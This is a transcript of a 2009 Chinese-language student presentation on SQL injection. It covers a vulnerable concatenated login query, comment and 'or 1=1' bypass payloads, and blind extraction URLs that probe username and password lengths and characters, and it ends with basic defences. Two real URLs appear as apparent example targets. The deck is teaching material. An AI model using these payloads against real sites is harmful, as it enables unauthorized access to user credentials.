sql injection an4976015 洪志修 2009/12/30. outline sql? sql injection? 防範
Post on 21-Dec-2015
232 views
Embed Size (px)
TRANSCRIPT

SQL Injection
AN4976015 洪志修
2009/12/30

Outline
• SQL?
• SQL Injection?
• 防範

何謂 SQL
• 結構化查詢語言 (Structured Query Language)
• 用於資料庫中的標準數據查詢語言

資料庫架構
表格名
欄位名

狀況一
• asp,php
var sql ="select * from userswhere username=' "+username+" 'and password=' "+password+" '";
表格名
條件式

Opps!!
• username --> Admin'--• password --> 任意
select * from users where username='Admin'-- 'and password='abc'
註解

Opps!!
• username --> 任意• password --> 任意 ' or 1=1 --
select * from users where username='abc' and password='abc' or 1=1 --

• http://140.116.165.58/ifx/class.php

狀況二• …../XXX.php?id=53
sql ="select * from ann where aid=' "+id+" '";
usersusername password
Alex abcd
B1234 1234
… …

../X.php?id=53 and (select top 1 len(username) from users)>5
../X.php?id=53 and (select top 1 asc(mid(username,1,1)) from users)>5
../X.php?id=53 and (select top 1 len(password) from users)>5...

• and ord(mid(user(),1,1))=114
• http://www.csie.ncku.edu.tw/new/nckucsie/index.php?content=NEWS&ID=547

防範• 攻擊前提
• 需要知道或猜到表名• SQL帳號權限過高 ( 攻擊系統 )• 無過濾特殊輸入

防範
• 使用較低的 SQL權限• 過濾非法輸入• 使用不易猜到的表名• 避免系統原碼外洩

資料來源• WIKI• http://www.1keydata.com/tw/sql/sql.html• http://blog.zol.com.cn/356/article_355906.html• http://tnrc.ncku.edu.tw/course/91/17-SQL.ppt

~ Thanks for your listening ~